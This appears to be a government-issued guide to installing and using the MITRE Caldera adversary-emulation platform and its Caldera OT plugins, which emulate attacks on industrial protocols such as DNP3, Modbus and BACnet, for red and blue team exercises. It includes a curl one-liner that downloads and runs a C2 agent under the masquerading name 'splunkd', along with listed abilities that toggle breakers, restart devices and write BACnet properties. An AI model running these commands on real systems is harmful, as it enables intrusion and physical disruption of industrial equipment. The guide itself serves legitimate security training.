



Using the Caldera OT tool



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MINISTERIO PARA LA TRANSFORMACIÓN DIGITAL Y DE LA FUNCIÓN PÚBLICA



Plan de Recuperación, Transformación Posiliencia









MINISTERIO PARA LA TRANSFORMACIÓN DIGITAL Y DE LA FUNCIÓN PÚBLICA





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1. About this guide

This guide seeks to help the reader understand how the Caldera platform works and, above all, focus on the extension that exists for the industrial world called Caldera OT.

To do this, a brief introduction will be made about the different equipment that exist in the world of adversary emulation and, subsequently, an explanation of the reason for the creation of this platform and how to install it on a device.

The next phase will be to explain how the machine works, what it is made of and how to introduce *plugins* related to the industrial world.

Finally, different examples will be made so that the reader can see the use of this platform and find help to achieve greater ease of use on this platform.









2. Introduction

In recent years, the continuous growth of cyberattacks on industrial environments has been of considerable concern to cybersecurity experts, as these are environments that can cause major conflicts both economically and to the physical integrity of living beings.

Due to this trend, many experts in the world of industrial cybersecurity were really worried since, in order to avoid these cyberattacks, a large number of economic resources would have to be needed, and highly qualified personnel would have to be able to solve the problems that would entail suffering a cybersecurity incident.

For this reason, the organizations of MITRE and CISA (Cybersecurity and Infrastructure Security Agency) decided to collaborate in order to create an open-source tool that could emulate different types of cyberattacks, based on the different techniques, tactics and procedures they use. This is how the Caldera tool was born, a platform designed to carry out different types of simulations since it allows the creation of a large number of simulated devices that can be attacked by different attack typologies, based on Mitre's techniques and tactics, and using different methods.

This platform will be very important in the near future, as it will be possible to carry out **very realistic simulations**, allowing new improvements to be implemented in the world of cybersecurity, such as: improvements in physical devices, programming of the activities to be carried out after suffering a similar attack (to the simulated one) or even improvements to the cyberattacks that have been carried out.









3. Document Organization

The main topic of this paper is the Caldera platform, with a special interest in the expansion of Caldera OT. To do this, the first point, **4 Adversary Emulation** attempts to introduce the reader to the world of simulations and how organizations that use this technology are working. Once the foundations have been laid, the platform is discussed. **5. Caldera**. This section will explain the needs that cybersecurity experts had developing such a platform, in addition to the different forms of installation that exist, and how this platform is distributed.

Paragraph **6. Caldera OT** explains how to install the *specific plugins* to be able to simulate environments related to the industrial world. In paragraph **7. Applicability Red Team**: Several examples will be collected for the use of the Caldera platform related to the *Red Team* and all the information that can be obtained.

In paragraph **8.** Applicability Blue Team: Examples of how to use this platform to improvement the. *Blue Team* and some information that may be used in the future.

Finally, paragraph **9.** Conclusions presents a summary where all the main ideas of this guide will be put together, concisely, about the Caldera OT platform.









4. Adversary Emulation

Before we examine in detail all the features and advantages of the Caldera platform, we will explain one of the main ideas behind this tool: **adversary emulation**.

Adversary emulation is a type of offensive security test that simulate the different techniques of a specific attack to understand if the affected organization has the capabilities to detect, to respond, and mitigate the cyberattack carried out.

Generally, for this type of exercise, a scenario is constructed based on methodology established by the organization's cybersecurity manager. The simulation of the attack is intended to be as realistic as possible, using the same tactics, techniques and procedures that an attacker can perform. That's why this phase is very important. This scenario, it will be executed by different teams. However, the most important are the teams performing the attack (Red Team) and the team trying to defend the organization after receiving the cyberattack (*Blue Team*). In addition, due to the evolution and complexity of the world of cybersecurity, more teams have been added, such as, for example, the *Purple Team*¹, which is based on the collaboration of the two teams mentioned above to make changes in the defense, having different knowledge of the attack that is going to be carried out.

Yellow (build) Green Orange (builder changes based (builder changes based on attacker knowledge) on defender knowledge) BUILD ATTACK DEFEND Red Blue (defend) (attack) THE BAD PYRAMID Purple (defender changes based on attacker knowledge)

In the following picture, you will be able to observe the different teams that may be involved, depending on the resources you want to give to this type of activity.

Illustration 1: Pyramid BAD (Build, Attack, Defend)²

¹ https://www.incibe.es/incibe-cert/blog/purple-team-incrementa-la-efectividad-del-red-team-y-blue-team-en-sci

² https://i0.wp.com/rsk-cyber-security.com/wp-content/uploads/2022/08/purple-teaming-grpah.png?w=780&ssl=1





Another advantage that this type of exercise can offer is that it allows evaluate maturity of the organization's cybersecurity status, allowing it to improve the different existing processes, modify security roles, resize the number of workers in the SOC, etc.

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5. Caldera

The **Caldera** platform is an open-source emulation platform created by the MITRE organization due to concern about the growth and constant evolution of cyberattacks. Thanks to this platform, costs can be significantly reduced, optimizing resources, which allows companies with less economic capacity to improve their level of cybersecurity.

Below, we explain the different forms of installation that this platform allows, as well as the most important options to be able to use the multitude of possibilities it offers.

5.1. Caldera installation

This platform consists of two main components:

- The core system, which includes an asynchronous command and control (C2) server with a REST API and a web interface.
- **The Plugins:** Standalone repositories that hang from the central frame and provide additional features, such as TTPS collections, GUI interfaces, etc.

As for the prerequisites for the installation of Caldera, these are:

- A Linux or macOS operating system.
- A Python version 3.8 or lower.
- A modern search engine, such as Google Chrome.
- The list of packages found in the requirements file.

5.1.1. Installation with Internet access

If the asset where it is to be installed has access to the Internet, the installation of the Caldera platform can be easily done by four commands:

```
git clone https://github.com/mitre/caldera.git --recursive
cd caldera
pip3 install -r requirements.txt
python3 server.py --insecure
```

5.1.2. Installation without Internet access

To install Caldera on a device without internet access, you need a device that can access the Internet in order to download the tool. One of the most important conditions for this modality is that both devices have the same version of the Operating System and Python.

After meeting the above conditions, can download the platform using the following commands:

```
git clone https://github.com/mitre/caldera.git --recursive --branch x.x.x
mkdir caldera/python_deps
pip3 download -r caldera/requirements.txt --dest caldera/python_deps
```

When this download is finished, it will have to send the "Caldera" file to the device where you want to install it. Finally, the following command will be used on the device where it wants to install it to start the installation:







pip3 install -r caldera/requirements.txt --no-index --find-links caldera/python_deps

5.1.3. Installation via Docker

This installation method is one of the most complicated, as the user needs to have some knowledge about the world of Docker. The first step would be to clone the Caldera repository using the following command:

git clone https://github.com/mitre/caldera.git --recursive --branch x.x.x

The next step would be to build the image of a Docker. To do this, the following command will be used:

cd caldera
docker build --build-arg WIN_BUILD=true . -t caldera:server

Finally, the Docker of the Caldera server will be put to work. The port that best suits the user can be used in this case. To get it up and running, the following command will be used:

docker run -p 7010:7010 -p 7011:7011/udp -p 7012:7012 -p 8888:8888 caldera:server

5.2. Access to the Caldera platform

Once the Caldera platform is installed, the next step is to start it. To do this, It will has to access the Caldera folder and then enter the following command:

python3 server.py

When the platform has been properly lifted, you will have to open a browser and type localhost:port into the search engine. Normally, the port used is 8888. If all of the above steps have been successful, the following page should appear.





Recuperación, Transformación

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CALDERA	
Username	
Password	
Log In	

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Illustration 2: Login Caldera

Now, it needs to enter the username and password. To do this, it would have to go to the "*local.yml*" or "*default.yml*" file located in the "conf" folder of Caldera. In these files, it will find the usernames and passwords to use both the blue team and the Red Team. In addition, this section is where it can change your usernames and passwords if necessary.

users:	
blue:	
blue:	
red:	
red:	

Illustration 3: Usernames and passwords stored in local.yml or default.yml files.

After entering the correct credentials, it will be able to access the following interface:






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DERA red aruty message		
agents		
abilities		
adversaries		
operations		
PLUGINS	Select a tab on the left to get started Getting Started Guide	
access		
atomic compass		
debrief		
fieldmanual 🗹		
manx		
sandcat		
stockpile		
raining		
CONFIGURATION		
act sources		

Illustration 5: Red Team.

5.2.1. Distribution of the Caldera platform

As can be seen in the following image, the platform is grouped into three large groups, which are: *campaigns*, *plugins* and *configuration*, which in turn are made up of several subgroups.





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CAMPAIGNS
agents
abilities
defenders
operations
+ PLUGINS
compass
fieldmanual 🗹
response
sandcat
stockpile
training
CONFIGURATION
fact sources
objectives
planners
contacts
obfuscators
configuration
exfilled files
api docs 🗳

Illustration 6: Main menu.

In this case, the most important subgroups found in the section "Campaigns" in the two types of teams (red and blue) are agents, abilities, adversaries, and *operations*.

- Agents: This is a set of software programs that connect to the Caldera platform at certain intervals in order to receive instructions. These agents communicate with the Calderaserver through a specific method, initially defined in the agent's installation. In this case, there are several types, among which are:
 - **Sandcat:** Consists of a GoLang agent that can communicate over various C2 channels, such as HTTP protocol, Github's GIST, or DNS.





- Manx: This is a GoLang agent that can communicate via TCP contact and works as a reverse-shell.
- Ragdoll: is a Python agent that communicates through HTML contact.

🕸 Configural	lion	0 agents		
	Deploy an agent			
		Agent		
		Choose an agent	~	
		Ragdoll A Python agent which communicates via the HTML contact		Close
		Manx A reverse-shell agent which communicates via the TCP contact Sandcat CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) contact by default.		Choic

Illustration 7: Developing an Agent.

Created agents can be placed in a group, regardless of whether they have been installed by the command line or by editing the agent in the user interface. These groups are used to determine which team the agent is on and what abilities they are going to execute.

Abilities: This is a specific implementation of the MITRE ATT&CK tactics and techniques that can be executed on agents created and running. These abilities include the commands to be executed, the platforms on which commands can be executed, and so on.

Search Pause all operations to avoid making noise Pause all operations to the specific pause to the Golden SAML attack (T1666 002). Any easy may to bypass AMSI inspection is in postightub comflexe pause of nitroit to support operations and pause pause allowers allo	
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inform defense-wasion defense-wasion AMSI Bypass - Override AMSI via COM (T1562.001) AMSI Bypass - Remove AMSI P iffund AMSI Bypass - Override AMSI via COM (T1562.001) AMSI Bypass - Remove AMSI P AMSI Bypass - Remove AMSI P i Inux Win administrative rights an adversary can disable AMSI via registry value in HCUISoftware/Classes/Cl3iD with the Monosh Defended COM object for AMSI and points to the Monosh Defended COM object for AMSI and points to the MSI mediant t	
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ATHPowerShellCommandLineParameter -Command parameter variations ATHPowerShellCommandLineP (T1059.001) encoded arguments (T1059.001	rameter -Command parameter variations with

Illustration 8: Abilities.





Adversary: These are the skill groups that represent the tactics, techniques, and procedures available to a threat actor. These profiles are used after running an operation that determines the abilities that will be executed.

Adversary Profiles				
Adversary Profiles are collections of ATT&CK TTPs, designed to create speci	fic effects on a host or network. Profiles can be used for offensive (or defensive use c	ases.	
Select a profile		+ New Profile	A Import	
Create a profile				
Profile Name				
Profile Description				
Create Cancel				

Illustration 9: Adversary Profile.

Operations: Consists of running the abilities in the groups of agents. To do this, the adversary profiles are used to determine the abilities that will be executed, and the groups of agents that are used to determine which agents the abilities will be executed on.

As for the order in which the abilities will be executed, it will be determined by the planner. In this case, there are several planners included, such as:

- **Atomic**: Executes abilities on the opponent's profile according to the opponent's atomic order.
- **Batch**: Executes all the opponent's abilities at the same time.
- Buckets: Executes the abilities of the opponent's profile grouped by the ATT&CK tactic.

Once one or more abilities have been executed in an operation, a link will have to be generated for each agent if the following fulfilments have been performed correctly:

- All factual and factual requirements of the link have been met.
- The agent has an executor in which the skill is set to run.
- The agent has not yet executed the skill, or the skill is marked as repeatable.

On the other hand, the *plugins* section stands out, as it provides the Caldera platform with extra functionalities. Some of the most important ones are already included in the tool itself, such as:

- **Sandcat**: This agent is recommended for new users.
- Stockpile: This *plugin* is one of the most comprehensive, as it contains most of the open-source abilities, adversaries, planners, and obfuscators created by the Caldera team.






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• **Training:** The *training plugin* guides users through most of the functionalities that such a platform is capable of offering.




Illustration 11: Training plugin.

In addition to these *plugins*, which are already installed, many more can be added, such as those that are specifically based on industrial environments.











6. Caldera OT

Due to the great advantages offered by the Caldera platform to simulate attacks and the current trend of cyberattacks against the industrial sector, which are becoming increasingly complex, they decided to create an extension called **Caldera OT.** This extension consists of increasing the number of *plugins* with protocols from the industrial field, such as: BACnet, DNP3, Modbus, Profinet and IEC61850, which will allow different simulations to be carried out to improve cybersecurity in this type of organization.

To be able to add these *plugins* to the Caldera platform, the following steps will have to be carried out:

The first step is to download the *plugins* from the repository. To do this, you will have to use the following command:

```
git clone https://github.com/mitre/caldera-ot.git --
recursive
```

Once downloaded, they will have to be moved to the "boiler/plugins" folder. When this step has been completed, the new *plugins* must be entered in the list that was in the "*local.yml*" or "*default.yml*" files, as follows:




Illustration 12: Plugins.

When all the steps explained above have been done correctly, it will be possible to see that they have been added to the user list for the Red Team.



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Illustration 13: Plugins.

Finally, if we select any of these *plugins,* the different capabilities related to the protocol in question will appear. Here are some examples:

Abilities			
Inhibit-response-function DNP3 Disable Unsolicited Messages (T0804: Block Reporting Message) DNP3 Function Code 21 (0x15) DISABLE_UNSOLICITED Prevents the autitation from initiang unsolicited responses from protent specified by the objects in the request. Disable guasolicited responses can impact the timely receipt of event data.	Inhibit response-function DNP3 Cold Restart (T0816; Device Restart/Shutdown) DNP3 Function Code 13 (bx0E) COLD_RESTART Send a command to an outstation requesting a complete reset of all hardware and software in the device.	Inhibit-response-function DNP3 Warm Restart (T0816: Device Restart/Shutdown) DNP3 Function Code 14 (bx0E) WARM_RESTART Send a command to an outstation requesting a reset of only portions of the device.	Impact DNP3 Toggle ON Breakers SBO (T0831: Manipulation of Control) DNP3 Function Code 3 (do3) SELECT DNP3 Function Code 4 (do4) OPERATE Toggle ON a range of specific breakers using the select-before- operate function code sequence.
Impact DNP3 Toggle ON Breakers DO (T0831: Manipulation of Control) DNP3 Function Code 5 (0x05) DIRECT_OPERATE Toggle ON a range of specified breakers using the direct-operate function code.	Impact DNP3 Toggle OFF Breakers DO (T0831: Manipulation of Control) DNP3 Function Code 5 (0x05) DIRECT_OPERATE Toggle OFF a range of specified breakers using the direct-operate function code.	Impact DNP3 Modulate Breaker SBO (T0831: Manipulation of Control) DNP9 Function Code 3 (0003) SELECT DNP3 Function Code 4 (0004) OPERATE Modulate the specified breaker at a high frequency using the select- before operate function code sequence.	Impact DNP3 Toggle OFF Breakers SBO (T0831: Manipulation of Control) DNP9 Function Code 3 (d04) OPERATE DNP9 Function Code 4 (d04) OPERATE Toggle OFF a range of specified breakers using the select-before- operate function code sequence.
Impact DNP3 Ranged Modulate Breaker SBO (T0831: Manipulation of Control) DNP3 Function Code 3 (bid3) SELECT DNP3 Function Code 4 (bid4) OPERATE Modulate a range of indices using the select before-operate function code sequence.	Impact DNP3 Modulate Breaker DO (T0831: Manipulation of Control) DNP3 Function Code 5 (brd5) DIRECT_OPERATE Modulate the specified breaker at a high frequency using the direct- operate function code.	collection DNP3 Read (T0802: Automated Collection) DNP3 Function Code 1 (I/k01) READ Sind a command to an outstation requesting data specified by the objects in the message.	Collection DNP3 Enable Unsolicited Messages (T0802: Automated Collection) DNP3 Function Code 20 (0x14) ENABLE_UNSOLICITED Enables the outstation to initiate unsolicited responses from points specified by the objects in the request. An unsolicited response alrows for outstation self-reporting of event data.

Illustration 14: DNP3 Abilities.





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Abilities			
inhibit-response-function	inhibit-response-function	collection	collection
IEC 61850 - Delete File (T0809: Data Destruction) IEC 61850 Service: DeleteFile This command is used to delete a file from a server. Mags to MMS function FileDelete.	IEC 61850 - Delete Data Set (70809: Data Destruction) IEC 61850 Service: Delete/DataSet This command is used to delete a data set from a server. Note: not ad data sets are deletable in accordance with the server settings. Performing a jet data, sets' operation can confirm if the server holds deletable data sets.	IEC 61850 - Get Logical Devices (T0802: Automated Collection) IEC 61850 Senter: GetSenveDirectory This command is used to read the list of logical devices from a server: Maps to MMS function GetNameLst.	IEC 61850 - Get Data Attributes (T0961: Point & Tag (dentification) IEC 61850 Service: GeDaDirectory This command is used to read the list of data attributes from a service or data deject. Operaties recursively to read any data attributes in the interarchy boke availation data attribute. Maps to MMS function GetNameList.
IEC 61850 - Get Reports (T0802: Automated Collection)	IEC 61850 - Get Data Sets (T0802: Automated Collection)	IEC 61850 - Get Logical Nodes (T0802: Automated Collection)	IEC 61850 - Get Value (T0801: Monitor Process State)
This command is used to read the list of reports published by a server. This functionality does not map directly to an IEC 61850 service or MMS function.	This command is used to read the list of data sets from a server. Output will also indicate whether the data set is devicable. This functionality does not map directly to an IEC 61850 service or MMS function.	IEC 61850 Service: GerServerDirectory This command is used to read the list of logical devices from a server. Maps to MMS function GerNameList.	IEC 61850 Service: GetDataValues This command is used to read the value of a data attribute. Data attribute rame must be halfy aquided. The functional constraint must be provided either by using the 4 flag or it may be appended to the data attribute name in square brackets.
collection	collection	collection	collection
IEC 61850 - Get Log Blocks (T0802: Automated Collection)	IEC 61850 - Get Files (T0802: Automated Collection)	IEC 61850 - Get Data Objects (T0802: Automated Collection)	IEC 61850 - Get Log (T0801: Monitor Process State)
This command is used to read the list of log control blocks (LCB) from a server and the values associated with the LCB. When traversing the data model, log control blocks are assumed to be in logical node zero (LND). This functionality does not map directly to an IEC 61850 service or	IEC 61850 Service: GelFile This command is used to read the list of files on a server. Maps to MMS function FileOpen.	IEC 61850 Service: GetLogicalWodeDirectory This command is used to read the list of data objects from a server or logical node. Maps to MMS function GetNameList.	IEC 61850 Service: QueryLogAfter This command is used to read the entries of a specified log. Will query the log after the oldest (first) entry. Maps to MMS function ReadJournal.

Illustration 15; IEC 61850 Abilities.

Abilities			
impact	impact	impact	impact
Modbus Write Multiple Coils (T0831:	Modbus Write Multiple Registers (T0831:	Modbus Fuzz Registers (T0831: Manipulation of	Modbus Write Single Register (T0831:
Manipulation of Control)	Manipulation of Control)	Control)	Manipulation of Control)
Modbus Function 15 (0x0F): Write Multiple Coils	Modbus Function 16 (0x10): Write Multiple Registers	Procedure Modbus Function 5 (0x05) Write Single Register	Modbus Function 6 (0x06): Write Single Register
This function code is used to force each coll in a sequence of colls to either ON or OFF in a remote device. Addressing starts at 0 (e.g.	This function code is used to write a block of contiguous holding registers (1 to 123 registers) in a remote device. Addressing starts	Writes random values to random registers over specified ranges.	This function code is used to write a single holding register in a remote device. Addressing starts at 0 (e.g. holding register 1 =
coils 1-5 = addresses 0-4).	at 0 (e.g. holding registers 1-5 = addresses 0-4).	Addressing starts at 0 (e.g. registers 1-5 = addresses 0-4).	address 0).
		collection	collection
Modbus Fuzz Coils (T0831: Manipulation of	Modbus Write Single Coil (T0831: Manipulation	Modbus Read Input Registers (T0861: Point &	Modbus Read Holding Registers (T0861: Point
Control)	of Control)	Tag Identification)	& Tag Identification)
Procedure Modbus Function 5 (0x05) Write Single Coil	Modbus Function 5 (0x05): Write Single Coll	Modbus Function 4 (0x04): Read Input Registers	Modbus Function 3 (0x03): Read Holding Registers
	This function code is used to write a single output to either ON or	This function code is used to read from 1 to 125 contiguous input	This function code is used to read the contents of a contiguous
Writes random values to random colis over specified ranges. Addressing starts at 0 (e.g. colis 1-5 = addresses 0-4).	OFF in a remote device. Addressing starts at 0 (e.g. coil 1 = address 0).	registers in a remote device. Addressing starts at 0 (e.g. input registers 1-5 = addresses 0-4).	block of holding registers in a remote device. Addressing starts at 0 (e.g. holding registers 1-5 = addresses 0-4).
collection	collection		
Modbus Read Discrete Inputs (T0861: Point &	Modbus Read Coils (T0861: Point & Tag		
Tag Identification)	Identification)		
Modbus Function 2 (0x02): Read Discrete Inputs	Modbus Function 1 (0x01): Read Colls		
This function code is used to read from 1 to 2000 contiguous status	This function code is used to read from 1 to 2000 contiguous status		
of discrete inputs in a remote device. Addressing starts at 0 (e.g. discrete inputs 1-5 = addresses 0-4).	of coils in a remote device. Addressing starts at 0 (e.g. coils 1-5 = addresses 0-4).		

Illustration 16: Modbus Abilities.







7. Red Team Applicability

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After the theoretical explanation provided throughout the document, some practical examples will be presented to offer a better understanding of the Caldera OT platform.

The first step will be to create an agent. To do this, the Caldera platform generates a code that can be entered into the server of its choice. In this case, a **Sandcat** will be created in a Linux environment. To do this, all it need to do is open the terminal and paste all the code, as shown in the following images:

Deploy an agent	
Agent Sandcat CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) co	ontact by default. 🐱
Platform O all And	פ פ
sh CALDERA's default agent, written in GoLang. Communicates through the H	TTP(S) contact by default.
server="http://0.0.0.0:8888"; curl -s -X POST -H "file:sandcat.go" -H "platform:linux" \$server/file/ chmod +x splunkd; ./splunkd -server \$server -group red -v	ניססא Copy download > splunkd;

Illustration 17: Commands for Agent Creation.














Illustration 18: Agent Deployment.

Once this is done, the synchronization with that agent can be observed on the Caldera OT platform. In this case, you have user privileges.




Illustration 19: Agent Deployed.

The next step is to create or use an already created ability which, as we said earlier, consists of performing an attack based on MITRE tactics and techniques. In this case, a new skill will be created. To do this, click on the "Create an Ability" button. The newly created skill consists of performing an active scan of the device's ports, for which the following fields will be filled in.











Edit an Ability		
ID	7e14fa6a-9ab8-41f8-92b5-c8d82d2a6ee2	:
8 Name	Escaneo de los puertos del activo	
Description	Se realizara un ataque para escanear los puertos abiertos del activo atacado y conocer la configuracion en la que se encuentra	
Tactic	discovery	
Technique ID	T1046	
Technique Name	Network Service Scanning	
Singleton		
Repeatable		
Delete payload		
	Executors	
	+ Add Executor	

Illustration 20: Creating the abilities.

executor sh Image: sh <t< th=""><th>platform</th><th>linux 🗸</th><th></th><th></th><th></th><th></th></t<>	platform	linux 🗸				
olb633_Calculator.docx o35557_regtemplate.ini o4f33d_remove_login_item.osa o53c10_AllTheThings.iso o655d1_WindowsServiceExample.exe o7821d_htQueueApcThreadEx.exe metstat -tulnap grep LISTEN	executor	sh	•			
035557_regtemplate.ini 04f33d_remove_login_item.osa 053c10_AllTheThings.iso 0655d1_WindowsServiceExample.exe 07821d_NtQueueApcThreadEx.exe netstat -tulnap grep LISTEN requirements	payloads	No payloads selecte	d			
O4f33d_remove_login_item.osa O53c10_AllTheThings.iso O655d1_WindowsServiceExample.exe O7821d_NtQueueApcThreadEx.exe netstat -tulnap grep LISTEN requirements						
0655d1_WindowsServiceExample.exe 07821d_NtQueueApcThreadEx.exe netstat -tulnap grep LISTEN requirements						
command 07821d_NtQueueApcThreadEx.exe netstat -tulnap grep LISTEN requirements						
command netstat -tulnap grep LISTEN requirements + Add requirements						
requirements + Add requirements	command					
		netstat -tuinap gr	ep LISTEN			
timeout 60	requirements					+ Add requirements
	timeout	60				<>
cleanup + Add Cleanup Command	cleanup					+ Add Cleanup Command
parsers + Add parsers	parsers					+ Add parsers

Illustration 21: Creating the abilities.

The last step is creating operations. It is here that different attacks will be introduced depending on the attacker's needs. In this case, where it wants to obtain information about the created asset, it has performed the ability "Scan the Ports of the Asset," which was created earlier, along with other types of abilities of the same tactic. Below, it will be able to see the steps taken and the information obtained.







Plan de

The first step is to create the operation. To do this, the following fields must be completed, depending on the needs of the attack:

Start New Operation	
Operation name	
Adversary	No adversary (manual)
Fact source	basic 🗸
ADVANCED	
Group	all groups red
Planner	atomic 🗸
Obfuscators	base64 base64jumble base64noPadding caesar cipher plain-text steganography
Autonomous	Run autonomously Require manual approval
Parser	🧿 Use default parsers 🛛 🔘 Do not use default parsers
Auto-close	🧿 Keep open forever 🛛 🔘 Auto close operation
Run state	🧿 Run immediately 🔘 Pause on start
Jitter (sec/sec)	2 ○ / 8 ○ Reset
Close	Star

Illustration 22: Creating an Operation.

After the operation is created, the abilities to be used are entered. This can be done manually or by using existing abilities.



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Add New Potential Li	nk	
Agent		~
Executor	(proc) >	~
٩		
Tactic	All tactics	~
Technique	All techniques	*
Select a potential link 1-min sleep (T1497.00	3)	434 potential links
Pause all operations to avoid m	taking noise	÷
This Atomic test will use the St rule on that S3 bucket with an detection. Stratus Red Team is	s Impairment Through S3 Lifecycle Rule using Stratus (T1562.008) ratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecy expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this activity to evade a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ttack-techniques/AWS/aws.detense-evasion.cloudtrail-lifecycle-rule/	
	rail Logging Through Event Selectors using Stratus (T1562.008) CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool ca	led →
		Close

Illustration 23: Introduction of Abilties into Operation.

4/1/2024, 4:00:26 PM GMT+2	\bigcirc	Escaneo de los puertos activos	zggqys	4458	View Command	View Output
4/1/2024, 4:00:49 PM GMT+2	\ominus	Discover Mail Server	zggqys	4457	View Command	No output.
4/1/2024, 4:01:06 PM GMT+2	\ominus	Find local users	zggqys	4536	View Command	View Output
4/1/2024, 4:01:21 PM GMT+2	\ominus	System Service Discovery - systemctl/service	zggqys	4535	View Command	View Output

In this case, the following skills have been introduced:



The first ability is port scanning, which was created earlier. With this method, the following information was obtained:





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Output						
Exit Code: N	Nothing to	o show				
Standard O	utput:					
tcp	Θ	0 0.0.0.0:8022	0.0.0:*	LISTEN	2253/python3	
tcp	0	0 0.0.0.0:2222	0.0.0:*	LISTEN	2253/python3	
tcp	Θ	0 0.0.0.0:7012	0.0.0:*	LISTEN	2253/python3	
tcp	Θ	0 0.0.0.0:7010	0.0.0:*	LISTEN	2253/python3	
tcp	Θ	0 0.0.0.0:8888	0.0.0.0:*	LISTEN	2253/python3	

Illustration 25: Open Ports

Another of the abilities included is that of finding local users, which in this example has returned the following information:

Output		
Facts:		
Name	Value	Score
host.user.name	root	1
host.user.name	daemon	1
host.user.name	bin	1
host.user.name	sys	1
host.user.name	sync	1
host.user.name	games	1
host.user.name	man	1
host.user.name	lp	1
host.user.name	mail	1
host.user.name	news	1
host.user.name	uucp	1
host.user.name	proxy	1
host.user.name	www-data	1

Illustration 26: Local users.

After this first example, we show another simulation, using attacks and techniques related to the industrial world, such as the BACnet standard, a protocol developed for the use of automation of buildings and their systems, such as air conditioning, security or lighting.

The first step is to create an agent. The created agent must have qualities that can support such a protocol, such as a testing server for this protocol.

Then there are several possibilities to introduce the tactics and techniques into the operation. The first way is to perform an adversary. To do this, we will introduce the attacks







that are going to be carried out in a certain way and in a certain order. In this case, the chosen attacks are as follows:

	Bacnet Adversary ID: c8717531-31d3-4db2-a916-25/342e6822c										
+ Add	Ability + Add Adv	ersary 🔒 Fact Breakdown Ob	jective: default Change	E Export Save Profile	Delete Profile Executors	Requires	Unlocks	Payload	Cleanup		
≡		BACnet Who-Is	discovery	Remote System Discovery	∆ 4 4			۵			
≡		BACnet Atomic Read File	collection	Monitor Process State	۵ 🕊 🕊			۵			
≡		BACnet Atomic Write File	impact	Manipulation of Control	∆ ≪ ≪			۵			
Ξ		BACnet Write Property	impact	Manipulation of Control	ð = =				x		

Illustration 27: BACnet Adversary.

An operation will then be created, and within it, the created skill is selected. When you have it loaded, all you have to do is wait for the results obtained.

Start New Operation				
Operation name	Prueba Bacnet			
Adversary	Bacnet	•	•	
Fact source	BACnet Sample Facts	~		
ADVANCED				

Illustration 28: BACnet Operation.

Another possibility is to carry out these attacks manually, for which an operation will be created and then the attacks that it wants to carry out manually or through the commands that the Caldera platform has.



		Select an o	peration Prueba Bacnet	- 0 decisions just nov			✓ + Crit	sate Operation				
Operation Details	Download Deleto	Current state: runnir		Stop	U Pause	▶1 Run 1 Link		Obfuscation	i; plain-text		Manual 🥌 Autoscroll 🗲	 Autonomous
Last ran BACnet Write I										+ Ma	inual Command	+ Potential Link
Decide												
3/12/2024, 4:54:46 PM GMT+1	\bigcirc	BACnet Who-Is	omeftb			n/a	View Command			No or	uţput.	
3/12/2024, 4:55:29 PM GMT+1	\ominus	BACnet Atomic Read File	omeftb			n/a	View Command			No o	itput.	
3/12/2024, 4:55:54 PM GMT+1	(-)	BACnet Atomic Write File	omeftb			n/a	View Command			No or	uţput.	
3/12/2024, 4:56:23 PM GMT+1		BACnet Write Property	omeftb			n/a	View Command			No or	uţput.	

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Illustration 29: Attack Operation.

In this case, four techniques have been carried out in the operation, the first is related to the identification of the asset. To do this, the following command has been used:

./bacwi

The following techniques are related to reading and writing files:

./bacarf #{bacnet.device.instance} #{bacnet.file.instance} #{bacnet.read.local_name}

./bacawf #{bacnet.device.instance} #{bacnet.file.instance} #{bacnet.read.local_name}
#{bacnet.write.octet_offset}

The last technique used is to write a property that is used on BACnet devices. In this case, the command used is as follows:

./bacawf #{bacnet.device.instance} #{bacnet.obj.type} #{bacnet.obj.property} #{bacnet.write.priority} #{bacnet.write.tag} #{bacnet.write.value} TLP:CLEAR

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8. Blue Team Applicability

To perform a simulation on the Blue Team side, it will be necessary to log in with the *username* and *password* that is configured for that group. Once it has accessed it, it will see that the structure is practically the same as that of the Red Team group. The big difference in this case is the type of abilities we find, designed, logically, to be used in a Blue Team. In addition, all of these abilities are related to the tactics and techniques of MITRE ATT&CK.

+ Create an Ability	defense-evasion	🗉 🛆 🛤	discovery	
Filters	1-min sleep (T1497.003)		Account Discovery (all) (T1087.002)	
Search	Pause all operations to avoid making noise		The net utility is executed via cmd to enumerate domain user accounts.	
			discovery	
Factic	discovery			
	Account Discovery (targeted) (T1087.002)		Account-type Admin Enumerator (T1069.002)	
Technique	The net utility is executed via cmd to enumerate detailed information about a specific user acc	ount.	Use PowerView to query the Active Directory server to determine remote admins	
	✓ detection		execution	é
Plugin	Acquire suspicious files (x)		Add bookmark (T1059.002)	
	Get information from AV about suspicious files		Add a malicous bookmark which looks like a current one	
Platform				
🗹 darwin	collection	۵ 🛤	discovery	
🗹 linux	Advanced File Search and Stager (T1119)		Application Window Discovery (T1010)	
🗹 windows	Highly configurable file finder and stager for Linux and Windows. Drops a payload file to the he	ast to parse arguments	Extracts the names of all open non-explorer windows, and the locations of all explorer windows.	
197 / 197 abilities	rative than uning multiple commands for each tot (e_0 , each the type). This satility allows to staging tipe found that have the appropriate tile ending. The staging offscopie is configurable current user's Recycle Bin (Mindow) and http: (Linux). Payload tiles include default values to (matching the base fact scores – File Search and Bago). (points for Searches III extensions) pinidows?), directories (include, exclude), accessed date cutoff, modified date cutoff, sensitive tiles.	r a safe mode, only out defaults to the all parameters (include, exclude		

Illustration 30: Blue Team Abilities.

Let's look at a brief example of the functions of this service, allowed by Caldera:

From the *Red Team side*, an agent will be created. In this case, the following has been chosen:



Deploy an agent	
Agent	
Sandcat CALDERA's default agent, written in GoLang. Communicates through the HTTP(S) c	ontact by default. 🗸
Platform	
all http://0.0.0.0:8888	5
agents.implant_name splunkd	ົ
agent.extensions	๖
Sh CALDERA's default agent, written in GoLang. Communicates through the H server="http://0.0.0.0:8888"; curl -s -X POST -H "file:sandcat.go" -H "platform:linux" \$server/file/ chmod +x splunkd; ./splunkd -server \$server -group red -v	Сору

GOBIERNO DE ESPAÑA

Illustration 31: Agent Created.

When it creates this agent, with the code generated by Caldera, it can see that it does not detect it. Therefore, the network group will have to be changed to blue. After this step, we create an operation using the abilities related to discovery tactics.

Last ran Find files (2 :	min ago)					+ Manual Command + Potential Link
Decide						
3/15/2024, 12:34:15 PM GMT+1	\bigcirc	Find local users	xuvqoj	4734	View Command	View Output
3/15/2024, 12:35:46 PM GMT+1	\ominus	Check Python	xuvqoj	4859	Wew Command	Wew Output
